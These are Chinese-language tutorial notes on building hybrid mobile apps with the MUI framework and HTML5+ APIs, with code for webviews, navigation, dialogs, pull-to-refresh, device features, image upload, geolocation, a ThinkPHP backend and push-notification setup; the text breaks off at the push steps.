
    MUI H5文档笔记MUI H5文档笔记界面初始化H5plus初始化创建子页面打开界面参数传递控制页面load显示关闭界面底部导航切换界面自定义事件页面预加载消息框原生模式ActionSheet下拉刷新上拉加载上拉下拉整合手势遮罩滑动导航选择图片轮播自定义导航Ajax-get请求Ajax-post请求照相机访问相册蜂鸣提示音手机震动弹出菜单设备信息手机信息发送短信拨打电话发送邮件本地存储图片上传地理位置设置IOS状态栏手机通讯录启动页设置PHP后台搭建JSON转换隐藏本页面中滚动条首次启动欢迎页数据库增删改查和接口推送浏览器打开新页面PDF浏览自定义下拉刷新即时聊天双击安卓返回键退出QQ登录界面初始化初始化就是把一切程序设为默认状态,把没准备的准备好。mui框架将很多功能配置都集中在mui.init方法中,要使用某项功能,只需要在mui.init方法中完成对应参数配置即可,目前支持在mui.init方法中配置的功能包括:创建子页面、关闭页面、手势事件配置、预加载、下拉刷新、上拉加载。
    H5plus初始化在我们APP的开发中,如果我们用到了H5+的一些API或者接口,我们需要初始化另外一个函数,类属于 JS 中的window.onload 或者 window.ready
    Mui.plusReady(); 所有涉及到H5+的东西,建议写到这个里面
    mui.plusReady(function(){ var w = plus.webview.currentWebview(); console.log(w); });
    创建子页面为防止APP运行过程中内容滚动出现卡顿的现象,所以部分页面我们采用头部和内容分离的形式进行实现,比如头部导航和底部导航
    mui.init({ subpages:[{ url:your-subpage-url,//子页面HTML地址,支持本地地址和网络地址 id:your-subpage-id,//子页面标志 styles:{ top:subpage-top-position,//子页面顶部位置 bottom:subpage-bottom-position,//子页面底部位置 width:subpage-width,//子页面宽度,默认为100% height:subpage-height,//子页面高度,默认为100% ...... }, extras:{ name:'zxd学院'//子页面通过plus.webview.currentWebview().name能拿到这个值 }//额外扩展参数 }] });
    打开界面//打开新窗口mui.openWindow({ url:'target.html', //需要打开页面的url地址 id:'target', //需要打开页面的url页面id styles:{ top:'0px',//新页面顶部位置 bottom:'0px',//新页面底部位置 // width:newpage-width,//新页面宽度,默认为100% // height:newpage-height,//新页面高度,默认为100% ...... }, extras:{ name:'aries', age:'18',// .....//自定义扩展参数,可以用来处理页面间传值 },show:{ //控制打开页面的类型 autoShow:true,// //页面loaded事件发生后自动显示,默认为true aniShow:'zoom-fade-out',//页面显示动画,默认为”slide-in-right“; 页面出现的方式 左右上下 duration:'1000'//页面动画持续时间,Android平台默认100毫秒,iOS平台默认200毫秒; }, waiting:{ // 控制 弹出转圈框的信息 autoShow:true,//自动显示等待框,默认为true title:'WRITE-BUG...',//等待对话框上显示的提示内容 options:{ width:'300px',//等待框背景区域宽度,默认根据内容自动计算合适宽度 height:'300px',//等待框背景区域高度,默认根据内容自动计算合适高度 ...... } }});
    参数传递mui.plusReady(function(){ var self = plus.webview.currentWebview(); //获得当前页面的对象 var name = self.name; //name 和 age 为传递的参数的键 var age = self.age; console.log(name); console.log(age); // 获得首页 专用的 var index = plus.webview.getLaunchWebview(); // 获得指定页面的对象 注意,要确保你的这个页面是存在的, 就是打开过的 var target = plus.webview.getWebviewById('目标页面的id');});
    控制页面load显示show:{ // openwindow 函数内设置 autoShow:false } // 目标页面//从服务器获取数据 .... 这里是业务逻辑//业务数据获取完毕,并已插入当前页面DOM; //注意:若为ajax请求,则需将如下代码放在处理完ajax响应数据之后;mui.plusReady(function(){ //关闭等待框 plus.nativeUI.closeWaiting(); //显示当前页面 mui.currentWebview.show(); });
    关闭界面
    点击包含.mui-action-back类的控件
    在页面上,向右快速滑动
    Android手机按下back按键

    mui框架封装的页面右滑关闭功能,默认未启用,若要使用右滑关闭功能,需要在mui.init();方法中设置swipeBack参数,如下:
    mui.init({ swipeBack:true //启用右滑关闭功能});
    mui框架默认会监听Android手机的back按键,然后执行页面关闭逻辑; 若不希望mui自动处理back按键,可通过如下方式关闭mui的back按键监听:
    mui.init({ keyEventBind: { backbutton: false //关闭back按键监听 }});
    底部导航切换界面HTML部分:
    <nav class="mui-bar mui-bar-tab"> <a id="defaultTab" class="mui-tab-item mui-active" href="a.html"> <span class="mui-icon mui-icon-videocam"></span> <span class="mui-tab-label">社区</span> </a> <a class="mui-tab-item" href="b.html"> <span class="mui-icon mui-icon-chatboxes"><span style="display: none;" class="mui-badge">1</span></span> <span class="mui-tab-label">群组</span> </a> <a class="mui-tab-item" href="c.html"> <span class="mui-icon mui-icon-home"></span> <span class="mui-tab-label">我的</span> </a></nav>
    JavaScript部分:
    //mui初始化mui.init();var subpages = ['a.html', 'b.html', 'c.html'];var subpage_style = { top:'0px', bottom: '51px'}; var aniShow = {}; //创建子页面,首个选项卡页面显示,其它均隐藏;mui.plusReady(function() { var self = plus.webview.currentWebview(); for (var i = 0; i < subpages.length; i++) { var temp = {}; var sub = plus.webview.create(subpages[i], subpages[i], subpage_style); if (i > 0) { sub.hide(); }else{ temp[subpages[i]] = "true"; mui.extend(aniShow,temp); } self.append(sub); }}); //当前激活选项var activeTab = subpages[0]; //选项卡点击事件mui('.mui-bar-tab').on('tap', 'a', function(e) { var targetTab = this.getAttribute('href'); if (targetTab == activeTab) { return; } //显示目标选项卡 //若为iOS平台或非首次显示,则直接显示 if(mui.os.ios||aniShow[targetTab]){ plus.webview.show(targetTab); }else{ //否则,使用fade-in动画,且保存变量 var temp = {}; temp[targetTab] = "true"; mui.extend(aniShow,temp); plus.webview.show(targetTab,"fade-in",300); } //隐藏当前; plus.webview.hide(activeTab); //更改当前活跃的选项卡 activeTab = targetTab;}); //自定义事件,模拟点击“首页选项卡”document.addEventListener('gohome', function() { var defaultTab = document.getElementById("defaultTab"); //模拟首页点击 mui.trigger(defaultTab, 'tap'); //切换选项卡高亮 var current = document.querySelector(".mui-bar-tab>.mui-tab-item.mui-active"); if (defaultTab !== current) { current.classList.remove('mui-active'); defaultTab.classList.add('mui-active'); }});
    自定义事件监听自定义事件 - 目标页
    window.addEventListener('shijian',function(event){ //通过event.detail可获得传递过来的参数内容 .... var name = event.detail.namel console.log(name); shijian(); })
    触发自定义事件 - 本页
    //首先获得目标页面的对象var targetPage = plus.webview.getWebviewById('目标页面id'); mui.fire(targetPage,'shijian',{ //自定义事件参数 name:'write-bug'});
    页面预加载所谓的预加载技术就是在用户尚未触发页面跳转时,提前创建目标页面,这样当用户跳转时,就可以立即进行页面切换,节省创建新页面的时间,提升app使用体验。mui提供两种方式实现页面预加载。
    方式一:通过mui.init方法中的preloadPages参数进行配置
    mui.init({ // 可同时加载一个或者多个界面 preloadPages:[ //加载一个界面 { url:'a.html', id:'a', styles:{},//窗口参数 extras:{},//自定义扩展参数 subpages:[{},{}]//预加载页面的子页面 },{ // 可加载另外一个界面,不需要可直接删除 url:'b.html', id:'b', styles:{},//窗口参数 extras:{},//自定义扩展参数 subpages:[{},{}]//预加载页面的子页面 } ]});
    方式二:通过mui.preload方法预加载,一次只能预加载一个页面,若需加载多个webview,则需多次调用mui.preload()方法
    mui.plusReady(function(){ var productView = mui.preload({ url: 'list.html', id: 'list', }); console.log(productView); //获得预加载界面的对象});
    消息框警告消息框
    mui.alert('欢迎使用Hello WRITE-BUG','WRITE-BUG',function(){ alert('你刚关闭了警告框');});
    消息提示框
    var btnArray = ['是','否']; mui.confirm('WRITE-BUG技术共享平台 - 一个专注校园计算机技术交流的平台,赞?','Hello WRITE-BUG',btnArray,function(e){ if(e.index==0){ alert('点击了- 是'); //自己的逻辑 }else{ alert('点击了- 否'); }});
    输入对话框
    var btnArray = ['确定','取消']; mui.prompt('请输入你对WRITE-BUG的评语:','内容好','WRITE-BUG',btnArray,function(e){ if(e.index==0){ alert('点击了 - 确认'); var value = e.value; // value 为输入的内容 }else{ alert('点击了 - 取消'); }});
    自动消息对话框
    mui.toast('显示内容');
    日期选择框
    //js里的月份 是从0月开始的,也就是说,js中的0月是我们1月var dDate=new Date(); //默认显示的时间dDate.setFullYear(2015,5,30);var minDate=new Date(); //可选择的最小时间minDate.setFullYear(2010,0,1);var maxDate=new Date(); //课选择的最大的时间maxDate.setFullYear(2016,11,31); plus.nativeUI.pickDate( function(e) { var d=e.date; alert('您选择的日期是:'+d.getFullYear()+"-"+(d.getMonth()+1)+"-"+ d.getDate()); },function(e){ alert('您没有选择日期');},{title:"请选择日期",date:dDate,minDate:minDate,maxDate:maxDate});
    时间选择框
    var dTime=new Date();dTime.setHours(20,0); //设置默认时间plus.nativeUI.pickTime(function(e){ var d=e.date; alert("您选择的时间是:"+d.getHours()+":"+d.getMinutes()); },function (e){ alert('您没有选择时间');},{title:"请选择时间",is24Hour:true,time:dTime});
    原生模式ActionSheetvar btnArray = [{title:"分享到微信"},{title:"分享到新浪微博"},{title:"分享到搜狐微博"}]; //选择按钮 1 2 3plus.nativeUI.actionSheet( { title:"分享到", cancel:"取消", // 0 buttons:btnArray }, function(e){ var index = e.index; // alert(index); switch (index){ case 1: //写自己的逻辑 break; case 2: break; }} );
    下拉刷新为实现下拉刷新功能,大多H5框架都是通过DIV模拟下拉回弹动画,在低端android手机上,DIV动画经常出现卡顿现象(特别是图文列表的情况); 通过双webview解决这个DIV的拖动流畅度问题;拖动时,拖动的不是div,而是一个完整的webview(子webview),回弹动画使用原生动画;在iOS平台,H5的动画已经比较流畅,故依然使用H5方案。两个平台实现虽有差异,但经过封装,可使用一套代码实现下拉刷新。
    第一步: 创建子页面,因为拖动的其实是个子页面的整体
    mui.init({ subpages:[{ url:pullrefresh-subpage-url,//下拉刷新内容页面地址 id:pullrefresh-subpage-id,//内容页面标志 styles:{ top:subpage-top-position,//内容页面顶部位置,需根据实际页面布局计算,若使用标准mui导航,顶部默认为48px; .....//其它参数定义 } }] });
    第二步:内容页面需按照如下DOM结构构建
    <!--下拉刷新容器--> <div id="pullrefresh" class="mui-content mui-scroll-wrapper"> <div class="mui-scroll"> <!--数据列表--> <ul class="mui-table-view mui-table-view-chevron"> <li class="mui-table-view-cell">1</li> </ul> </div> </div>
    第三步:通过mui.init方法中pullRefresh参数配置下拉刷新各项参数
    mui.init({ pullRefresh : { container:"#pullrefresh",//下拉刷新容器标识,querySelector能定位的css选择器均可,比如:id、.class等 down : { contentdown : "下拉可以刷新",//可选,在下拉可刷新状态时,下拉刷新控件上显示的标题内容 contentover : "释放立即刷新",//可选,在释放可刷新状态时,下拉刷新控件上显示的标题内容 contentrefresh : "正在刷新...",//可选,正在刷新状态时,下拉刷新控件上显示的标题内容 callback : fn //必选,刷新函数,根据具体业务来编写,比如通过ajax从服务器获取新数据; } } });
    第四步:设置执行函数
    function fn() { //业务逻辑代码,比如通过ajax从服务器获取新数据; ...... //注意,加载完新数据后,必须执行如下代码,注意:若为ajax请求,则需将如下代码放置在处理完ajax响应数据之后 mui('#pullrefresh').pullRefresh().endPulldownToRefresh(); //这行代码会隐藏掉 正在加载... 容器}
    上拉加载第一步,第二步 和下拉刷新的一样
    第三步:通过mui.init方法中pullRefresh参数配置下拉刷新各项参数
    mui.init({ pullRefresh : { container:"#pullrefresh",//待刷新区域标识,querySelector能定位的css选择器均可,比如:id、.class等 up : { contentrefresh : "正在加载...",//可选,正在加载状态时,上拉加载控件上显示的标题内容 contentnomore:'没有更多数据了',//可选,请求完毕若没有更多数据时显示的提醒内容; callback : fn //必选,刷新函数,根据具体业务来编写,比如通过ajax从服务器获取新数据; } } });
    第四步:设置执行函数
    function fn() { //业务逻辑代码,比如通过ajax从服务器获取新数据; ...... //注意,加载完新数据后,必须执行如下代码,true表示没有更多数据了, 两个注意事项: //1、若为ajax请求,则需将如下代码放置在处理完ajax响应数据之后 // 2、注意this的作用域,若存在匿名函数,需将this复制后使用 var _this = this; _this.endPullupToRefresh(true|false); }
    上拉下拉整合第一步,第二步和下拉刷新一样
    第三步:在mui.init()内同时设置上拉加载和下拉刷新
    mui.init({ pullRefresh: { container: '#pullrefresh', down: { contentdown : "下拉可以刷新",//可选,在下拉可刷新状态时,下拉刷新控件上显示的标题内容 contentover : "释放立即刷新",//可选,在释放可刷新状态时,下拉刷新控件上显示的标题内容 contentrefresh : "正在刷新...",//可选,正在刷新状态时,下拉刷新控件上显示的标题内容 callback: downFn // 下拉执行函数 }, up: { contentrefresh: '正在加载...', callback: upFn // 上拉执行函数 } }});
    注意: 给获取元素加onclick点击事件不行,需要加addEventListener自定义事件
    手势在开发移动端的应用时,会用到很多的手势操作,比如滑动、长按等,为了方便开放者快速集成这些手势,mui内置了常用的手势事件,目前支持的手势事件见如下列表:



    分类
    参数描述




    点击



    tap
    单击屏幕


    doubletap
    双击屏幕


    长按



    longtap
    长按屏幕


    hold
    按住屏幕


    release
    离开屏幕


    滑动



    swipeleft
    向左滑动


    swiperight
    向右滑动


    swipeup
    向上滑动


    swipedown
    向下滑动


    拖动



    dragstart
    开始拖动


    drag
    拖动中


    dragend
    拖动结束



    mui.init({ gestureConfig:{ tap: true, //默认为true doubletap: true, //默认为false longtap: true, //默认为false swipe: true, //默认为true drag: true, //默认为true hold:false,//默认为false,不监听 release:false//默认为false,不监听 } });
    注意:dragstart、drag、dragend共用drag开关,swipeleft、swiperight、swipeup、swipedown共用swipe开关
    你要监听的对象.addEventListener("swipeleft",function(){ console.log("你正在向左滑动"); });
    遮罩在popover、侧滑菜单等界面,经常会用到蒙版遮罩;比如popover弹出后,除popover控件外的其它区域都会遮罩一层蒙版,用户点击蒙版不会触发蒙版下方的逻辑,而会关闭popover同时关闭蒙版;再比如侧滑菜单界面,菜单划出后,除侧滑菜单之外的其它区域都会遮罩一层蒙版,用户点击蒙版会关闭侧滑菜单同时关闭蒙版。
    遮罩蒙版常用的操作包括:创建、显示、关闭,如下代码:
    var mask = mui.createMask(callback);//callback为用户点击蒙版时自动执行的回调; mask.show();//显示遮罩mask.close();//关闭遮罩遮罩css样式: .mui-backdrop
    滑动导航选择mui提供了图片轮播、可拖动式图文表格、可拖动式选项卡、左右滑动9宫格组件,这些组件都用到了mui框架的slide插件,有较多共同点。首先,Dom内容构造基本相同,都必须有一个.mui-slider的父容器;其次,当拖动切换显示内容时,均会触发slide事件(可拖动式选项卡在点击选项卡标题时,也会触发slide事件),通过该事件的detail.slideNumber参数可以获得当前显示项的索引(第一项索引为0,第二项为1,以此类推),利用该事件,可在显示内容切换时,动态处理一些业务逻辑。
    HTML部分:
    <div class="mui-slider"> <!--选项卡标题区--> <div class="mui-slider-indicator mui-segmented-control mui-segmented-control-inverted"> <a class="mui-control-item" href="#item1">待办公文</a> <a class="mui-control-item" href="#item2">已办公文</a> <a class="mui-control-item" href="#item3">全部公文</a> </div> <div class="mui-slider-progress-bar mui-col-xs-4"></div> <div class="mui-slider-group"> <!--第一个选项卡内容区--> <div id="item1" class="mui-slider-item mui-control-content mui-active"> <ul class="mui-table-view"> <li class="mui-table-view-cell">待办公文1</li> <li class="mui-table-view-cell">待办公文2</li> <li class="mui-table-view-cell">待办公文3</li> </ul> </div> <!--第二个选项卡内容区,页面加载时为空--> <div id="item2" class="mui-slider-item mui-control-content"><ul class="mui-table-view"> <li class="mui-table-view-cell">待办公文1</li> <li class="mui-table-view-cell">待办公文2</li> <li class="mui-table-view-cell">待办公文3</li> </ul></div> <!--第三个选项卡内容区,页面加载时为空--> <div id="item3" class="mui-slider-item mui-control-content"></div> </div></div>
    JavaScript部分
    var item2Show = false,item3Show = false;//子选项卡是否显示标志document.querySelector('.mui-slider').addEventListener('slide', function(event) { if (event.detail.slideNumber === 1&&!item2Show) { //切换到第二个选项卡 //根据具体业务,动态获得第二个选项卡内容; var content = 'er'; //显示内容 document.getElementById("item2").innerHTML = content; //改变标志位,下次直接显示 item2Show = true; } else if (event.detail.slideNumber === 2&&!item3Show) { //切换到第三个选项卡 //根据具体业务,动态获得第三个选项卡内容; var content = 'san'; //显示内容 document.getElementById("item3").innerHTML = content; //改变标志位,下次直接显示 item3Show = true; }});
    图片轮播支持循环
    HTML部分:
    <div class="mui-slider"> <div class="mui-slider-group mui-slider-loop"> <!--支持循环,需要重复图片节点--> <div class="mui-slider-item mui-slider-item-duplicate"><a href="#"><img src="images/2.jpg" /></a></div> <div class="mui-slider-item"><a href="#"><img src="images/0.jpg" /></a></div> <div class="mui-slider-item"><a href="#"><img src="images/1.jpg" /></a></div> <div class="mui-slider-item"><a href="#"><img src="images/2.jpg" /></a></div> <!--支持循环,需要重复图片节点--> <div class="mui-slider-item mui-slider-item-duplicate"><a href="#"><img src="images/0.jpg" /></a></div> </div></div>
    不支持循环和循环不同的是没有再第一条和最后一条后面加入内容
    HTML部分:
    <div class="mui-slider"> <div class="mui-slider-group"> <div class="mui-slider-item"><a href="#"><img src="images/0.jpg" /></a></div> <div class="mui-slider-item"><a href="#"><img src="images/1.jpg" /></a></div> <div class="mui-slider-item"><a href="#"><img src="images/2.jpg" /></a></div> <!--<div class="mui-slider-item"><a href="#"><img src="4.jpg" /></a></div>--> </div></div>
    JavaScript部分相同:
    //获得slider插件对象var gallery = mui('.mui-slider');gallery.slider({ interval:5000//自动轮播周期,若为0则不自动播放,默认为0;});document.querySelector('.mui-slider').addEventListener('slide', function(event) { //注意slideNumber是从0开始的; alert("你正在看第"+(event.detail.slideNumber+1)+"张图片");});
    注意:如果ajax获得图片后,需要在写入图片以后,需要从新调用一下
    gallery.slider();
    自定义导航第一步:将一下代码写在header(mHeader) 和 content(mBody) 之间
    首页 科技 娱乐 财经 北京 军事 社会 汽车 视频 美女
    第二步:引入writebug_nav.css 和writebug_nav.js
    第三步:执行函数
    writebug_nav(function(index,data){ // index 为点击索引 data为点击导航的文本内容 console.log(index); console.log(data); });
    Ajax-get请求// get测试请求地址 http://test.write-bug.com/link_app/get?state=index&num=0mui.get('接口地址',{ //请求接口地址 state:'index' // 参数 键 :值 num:'0' },function(data){ // data为服务器端返回数据 //获得服务器响应 ... console.log(data); },'json' );
    Ajax-post请求// post测试请求地址 http://test.write-bug.com/link_app/postmui.post('接口地址',{ //请求接口地址 state:'index', // 参数 键 :值 num:'0' }, function(data){ //data为服务器端返回数据 //自己的逻辑 },'json');
    照相机var cmr = plus.camera.getCamera();cmr.captureImage( function ( p ) { //成功 plus.io.resolveLocalFileSystemURL( p, function ( entry ) { var img_name = entry.name;//获得图片名称 var img_path = entry.toLocalURL();//获得图片路径 }, function ( e ) { console.log( "读取拍照文件错误:"+e.message ); } ); }, function ( e ) { console.log( "失败:"+e.message );}, {filename:'_doc/camera/',index:1} ); // “_doc/camera/“ 为保存文件名
    访问相册plus.gallery.pick( function(path){ img.src = path;//获得图片路径}, function ( e ) { console.log( "取消选择图片" );}, {filter:"image"} );
    蜂鸣提示音switch ( plus.os.name ) { //判断设备类型 case "iOS": if ( plus.device.model.indexOf("iPhone") >= 0 ) { //判断是否为iPhone plus.device.beep(); console.log = "设备蜂鸣中..."; } else { console.log = "此设备不支持蜂鸣"; } break; default: plus.device.beep(); console.log = "设备蜂鸣中..."; break;}
    手机震动switch ( plus.os.name ) { //判断设备类型 case "iOS": if ( plus.device.model.indexOf("iPhone") >= 0 ) { //判断是否为iPhone plus.device.vibrate(); console.log("设备振动中..."); } else { console.log("此设备不支持振动"); } break; default: plus.device.vibrate(); console.log("设备振动中..."); break;}
    弹出菜单弹出菜单的原理主要是通过锚点进行的,如果需要多个弹出菜单,可以在a标签内设置锚点,对应相应的div的id即可
    <a href="#popover">打开弹出菜单</a> // href 定义锚点<div id="popover" class="mui-popover"> //id 对应锚点 <ul class="mui-table-view"> <li class="mui-table-view-cell"><a href="#">Item1</a></li> <li class="mui-table-view-cell"><a href="#">Item2</a></li> <li class="mui-table-view-cell"><a href="#">Item3</a></li> <li class="mui-table-view-cell"><a href="#">Item4</a></li> <li class="mui-table-view-cell"><a href="#">Item5</a></li> </ul></div>
    设备信息plus.device.model //设备型号plus.device.vendor //设备的生产厂商plus.device.imei // IMEI 设备的国际移动设备身份码plus.device.uuid // UUID 设备的唯一标识// IMSI 设备的国际移动用户识别码var str = '';for ( i=0; i<plus.device.imsi.length; i++ ) { str += plus.device.imsi[i];}plus.screen.resolutionWidth*plus.screen.scale + " x " + plus.screen.resolutionHeight*plus.screen.scale ; //屏幕分辨率plus.screen.dpiX + " x " + plus.screen.dpiY; //DPI每英寸像素数
    手机信息plus.os.name //名称plus.os.version //版本plus.os.language //语言plus.os.vendor //厂商//网络类型var types = {};types[plus.networkinfo.CONNECTION_UNKNOW] = "未知";types[plus.networkinfo.CONNECTION_NONE] = "未连接网络";types[plus.networkinfo.CONNECTION_ETHERNET] = "有线网络";types[plus.networkinfo.CONNECTION_WIFI] = "WiFi网络";types[plus.networkinfo.CONNECTION_CELL2G] = "2G蜂窝网络";types[plus.networkinfo.CONNECTION_CELL3G] = "3G蜂窝网络";types[plus.networkinfo.CONNECTION_CELL4G] = "4G蜂窝网络";var network = types[plus.networkinfo.getCurrentType()];
    发送短信<a href=“sms:10086">发送短信var msg = plus.messaging.createMessage(plus.messaging.TYPE_SMS);msg.to = ['13800138000', '13800138001'];msg.body = 'WRITE-BUG https://www.write-bug.com';plus.messaging.sendMessage( msg );
    拨打电话<a href="tel:10086">拨打电话</a>
    发送邮件<a href="mailto:write-bug@writebug.com">发送邮件到WRITE-BUG</a>
    本地存储//设置plus.storage.setItem('键','值'); -> plus.storage.setItem('name','writebug'); //查询plus.storage.getItem('键'); -> var name = plus.storage.getItem('name'); //删除plus.storage.removeItem('键'); -> plus.storage.removeItem('name'); //全部清除plus.storage.clear(); //HTML5自带 - 设置localStorage.setItem('键','值'); -> localStorage.setItem('name','writebug'); //HTML5自带 - 查询localStorage.getItem('键'); -> var name = localStorage.setItem('name');//HTML5自带 - 删除localStorage.removeItem('键'); -> localStorage.removeItem('name');
    图片上传//初始上传地址 var server="http://test.write-bug.com/upload_file.php"; var files=[]; //图片存放的数组 可以上传一个,或者多个图片 //上传图片function upload_img(p){ //又初始化了一下文件数组 为了支持我的单个上传,如果你要一次上传多个,就不要在写这一行了 //注意 files=[]; var n=p.substr(p.lastIndexOf('/')+1); files.push({name:"uploadkey",path:p}); //开始上传 start_upload(); } //开始上传function start_upload(){ if(files.length<=0){ plus.nativeUI.alert("没有添加上传文件!"); return; } //原生的转圈等待框 var wt=plus.nativeUI.showWaiting(); var task=plus.uploader.createUpload(server, {method:"POST"}, function(t,status){ //上传完成 alert(status); if(status==200){ //资源 var responseText = t.responseText; //转换成json var json = eval('(' + responseText + ')'); //上传文件的信息 var files = json.files; //上传成功以后的保存路径 var img_url = files.uploadkey.url; //ajax 写入数据库 //关闭转圈等待框 wt.close(); }else{ console.log("上传失败:"+status); //关闭原生的转圈等待框 wt.close(); } }); task.addData("client",""); task.addData("uid",getUid()); for(var i=0;i<files.length;i++){ var f=files[i]; task.addFile(f.path,{key:f.name}); } task.start(); } // 产生一个随机数function getUid(){ return Math.floor(Math.random()*100000000+10000000).toString();}
    地理位置直接获取地理位置
    plus.geolocation.getCurrentPosition( geoInfo, function ( e ) { alert( "获取位置信息失败:"+e.message );} );
    监听地理位置
    var watchId; //开关 函数外层定义 if ( watchId ) { return; } watchId = plus.geolocation.watchPosition( function ( p ) { alert( "监听位置变化信息:" ); geoInfo( p ); }, function ( e ) { alert( "监听位置变化信息失败:"+e.message ); });
    停止监听地理位置
    if ( watchId ) { alert( "停止监听位置变化信息" ); plus.geolocation.clearWatch( watchId ); watchId = null; }//获得具体地理位置//获取设备位置信息 function geoInfo(position){ var timeflag = position.timestamp;//获取到地理位置信息的时间戳;一个毫秒数; var codns = position.coords;//获取地理坐标信息; var lat = codns.latitude;//获取到当前位置的纬度; var longt = codns.longitude;//获取到当前位置的经度 var alt = codns.altitude;//获取到当前位置的海拔信息; var accu = codns.accuracy;//地理坐标信息精确度信息; var altAcc = codns.altitudeAccuracy;//获取海拔信息的精确度; var head = codns.heading;//获取设备的移动方向; var sped = codns.speed;//获取设备的移动速度; //百度地图申请地址// http://lbsyun.baidu.com/apiconsole/key// http://api.map.baidu.com/geocoder/v2/?output=json&ak=你从百度申请到的Key&location=纬度(Latitude),经度(Longitude)// http://api.map.baidu.com/geocoder/v2/?output=json&ak=BFd9490df8a776482552006c538d6b27&location=40.065639,116.419413 //详细地址 //http://api.map.baidu.com/geocoder/v2/?ak=eIxDStjzbtH0WtU50gqdXYCz&output=json&pois=1&location=40.065639,116.419413 var baidu_map = "http://api.map.baidu.com/geocoder/v2/?output=json&ak=BFd9490df8a776482552006c538d6b27&location="+lat+','+longt; mui.get(baidu_map,{ //请求的地址 }, function(data){ //服务器返回响应,根据响应结果,分析是否登录成功; ... var result = data['result'].addressComponent; // 国家 var country = result['country']; //城市 var city = result['city'];; //地址 var address = result['province'] + result['district'] + result['street']; //data 有很多信息,大家如果需要可以for in出来看下 },'json' ); }
    设置IOS状态栏mui.plusReady(function(){ if(mui.os.ios){ //UIStatusBarStyleDefault //字体深色 //UIStatusBarStyleBlackOpaque //字体浅色 plus.navigator.setStatusBarStyle('UIStatusBarStyleBlackOpaque'); plus.navigator.setStatusBarBackground("#007aff"); //背景颜色 }})
    手机通讯录mui.plusReady(function(){ //访问手机通讯录 plus.contacts.ADDRESSBOOK_PHONE //访问SIM卡通讯录 plus.contacts.ADDRESSBOOK_SIM plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE,function(addressbook){ addressbook.find(null,function (contacts){ for(var a in contacts){ //这里是安卓手机端的获取方式 ios的不太一样,如果需要这块代码可以联系老师获得 var user = contacts[a].displayName; //联系人 var phone = contacts[a].phoneNumbers[0].value; //手机号码 } },function ( e ) {alert( "Find contact error: " +e.message );},{multi:true}); }); });
    启动页设置设置手动关闭启动页
    manifest.json -> plus -> autoclose 改为 false关闭启动页
    plus.navigator.closeSplashscreen();
    PHP后台搭建在开发工具内下载 AppServ 和 ThinkPHP,AppServ是本地服务器,ThinkPHP是后台框架
    ThinkPHP采用单入口模式 index -> 控制器 -> 方法index.php 内书写如下:define("APP_NAME",'WEB'); //站点名称define("APP_PATH",'./WEB/'); //站点路径define("APP_DEBUG",true);//开启调试模式require("./ThinkPHP/ThinkPHP.php");// 引入框架文件
    JSON转换JSON.parse()和JSON.stringify()1.parse 用于从一个字符串中解析出json 对象。例如var str='{"name":"zxd学院","age":"23"}'经 JSON.parse(str) 得到:Object: age:"23" name:"zxd学院"ps:单引号写在{}外,每个属性都必须双引号,否则会抛出异常 2.stringify用于从一个对象解析出字符串,例如 var a={a:1,b:2} 经 JSON.stringify(a)得到: '{"a":1,"b":2}'
    隐藏本页面中滚动条var self = plus.webview.currentWebview();self.setStyle({ bounce: 'none', //禁止弹动 scrollIndicator: 'none' //隐藏滚动条});
    首次启动欢迎页首先引入writebug_welcome.css 和 writebug_welcome.js 文件
    <div id="slider" class="mui-slider" > <div class="mui-slider-group"> <!-- 第一张 --> <div class="mui-slider-item"> <img src="img/shuijiao.jpg"> </div> <!-- 第二张 --> <div class="mui-slider-item"> <img src="img/muwu.jpg"> </div> <!-- 第三张 --> <div class="mui-slider-item"> <img src="img/cbd.jpg"> </div> <!-- 第四张 --> <div class="mui-slider-item"> <img src="img/yuantiao.jpg"> <button id="dy_enter">立即进入</button> </div> </div> <div class="mui-slider-indicator"> <div class="mui-indicator mui-active"></div> <div class="mui-indicator"></div> <div class="mui-indicator"></div> <div class="mui-indicator"></div> </div></div>
    writebug_welcome({ preLoadUrl:'main.html',//预加载页面url preLoadId:'main',//预加载页面id});
    数据库增删改查和接口Class UserAction extends Action { /** * 添加数据 */ public function add(){ $data['phone'] = '1380013800'; $data['name'] = 'yidong'; // M = model M('你要操作的数据表')->方法 $re = M('user')->add($data); //输出 echo $re; // 添加数据返回值 是数据的id } /** * 修改数据 */ public function mod(){ $data['phone'] = '130013000'; $id = 1; $re = M('user')->where("`id`='$id'")->save($data); echo $re; //修改数据 返回值为1是成功 0为失败 } /** * 删除数据 */ public function del(){ $id = '2'; $re = M('user')->where("`id`='$id'")->delete(); echo $re; // 删除 返回值为1也是成功 0 为失败 } /** * 查询数据 */ public function select(){ //单条带条件查询 $id = '1'; $arr1 = M('user')->where("`id`='$id'")->find(); // dump($arr1); // 多条不带条件查询 查询数据库内所有的数据 不建议使用 $arr2 = M('user')->select(); // dump($arr2); // 多条带条件查询 $phone = '1380013800'; $arr3 = M('user')->where("`phone`='$phone'")->select(); // dump($arr3); // 排序 // asc 正序 // desc 倒序 $arr4 = M('user')->where("`phone`='$phone'")->order("id desc")->select(); // dump($arr4); // 分页 limit // limit(参数1); 一个参数的情况下 拿多少条数据 // limit(参数1,参数2); 二个参数的情况下 第一个参数是从多少条开始拿,第二个参数还是拿多少条 // $arr5 = M('user')->order("id desc")->limit(2)->select(); // dump($arr5); $arr6 = M('user')->order("id desc")->limit(2,2)->select(); // dump($arr6); //返回json数据 给我们APP echo json_encode($arr6); // 接口地址 // http://127.0.0.1/www/xianshang14/index.php/User/select }}
    推送注册个推,获得APPKEY、APPID、MASTERSECRET
    推送信息必须打包安装手机后才能使用,主要是通过client_id来进行对每个用户进行推送,首先我们需要在数据库的用户表内添加一个client_id 的字段(在用户注册的时候或者在每次登录的时候存入用户的新client_id,保证推送的有效性),为存放我们用户的client_id,比如这里是个商城,你购买完商品,系统会推送一条信息给你,你只需要告诉程序,你要推送人的手机号码,标题,内容即可(如需要点击信息到达订单页面,需要用透传来实现),服务器获得手机号码以后会在数据库内查找,并获得该用户的client_id,然后实现推送。这里要根据自己的情况来写逻辑,比如WRITE-BUG课堂的分类,前端,后端,数据库等分类,如果我有一个课程上线,我可以推送给这些对某一类感兴趣的学员。当然更多的逻辑需要你自己来写,群发我们可以理解成,循环发送多个单条的(单条发送已经测试没问题,群发没测试,大家可以自己测试一下,有问题随时反馈过来)。
    由于推送信息的多样性,本次封装仅对本APP注册用户进行推送,如需要全员推送,可直接使用个推官网创建信息的方式直接推送。
    推送步骤:

    右上角下载推送包
